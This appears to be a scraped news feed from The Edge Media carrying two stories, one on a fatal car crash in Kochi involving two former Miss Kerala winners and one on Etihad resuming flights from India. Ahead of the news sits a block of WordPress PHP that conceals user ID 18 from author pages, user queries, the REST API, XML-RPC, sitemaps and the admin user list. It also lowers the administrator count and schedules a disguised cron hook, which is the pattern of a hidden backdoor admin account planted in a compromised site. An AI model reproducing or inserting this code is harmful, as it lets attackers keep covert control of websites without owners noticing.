add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Ansi Kabeer, former Miss Kerala, and runner-up Anjana Shajan were killed in a car accident in Kochi appeared first on The Edge Media.
]]>
In Chakkaraparambu, the incident occurred near the Holiday Inn hotel. Two other men in the car were seriously injured and were taken to the Ernakulam Medical Centre (EMC), Palarivattom. The two-wheeler riders only received minor bruises.
The post Ansi Kabeer, former Miss Kerala, and runner-up Anjana Shajan were killed in a car accident in Kochi appeared first on The Edge Media.
]]>The post Etihad Airways to launch its flights from August 7 appeared first on The Edge Media.
]]>This does not mean that Indians will now be allowed to travel to Dubai, as the UAE government has not completely lifted the travel restriction on India. UAE citizens and transit passengers from India are now allowed to travel to the UAE.
Last month, the national airways suspended all flights in India and said that suspension can extend till mid-August. But as the UAE revised its restrictions for people travelling from India, Etihad has resumed booking.
From August 10, the airline will add flights from three more Indian cities, and other cities from Bangladesh, Pakistan and Sri Lanka, the carrier said in a statement. Flights from Ahmedabad (transit), Hyderabad, Mumbai, Karachi, Lahore, Islamabad, Dhaka and Colombo will resume.
UAE residents, students and professionals working for UAE government agencies are now allowed to travel to the country. Indian students who want to transit through UAE airports for some other destination are also allowed now if they have negative PCR tests. In the wake of the second wave of the pandemic, the UAE imposed a strict ban on Indian travellers. Even UAE residents who have valid residential proof were stuck in India as the authorities imposed a blanket ban on anyone travelling from India. India, however, was not the only country. The UAE had banned passengers from Bangladesh, Pakistan, Sri Lanka etc.
On August 5, the restrictions were relaxed and the UAE authorities decided to allow fully vaccinated UAE residents, travelling from India, healthcare workers, students, teachers, patients undergoing treatment in the UAE to travel from India. All passengers have to apply for permission to return through the Federal Authority for Identity and Citizenship website.
The post Etihad Airways to launch its flights from August 7 appeared first on The Edge Media.
]]>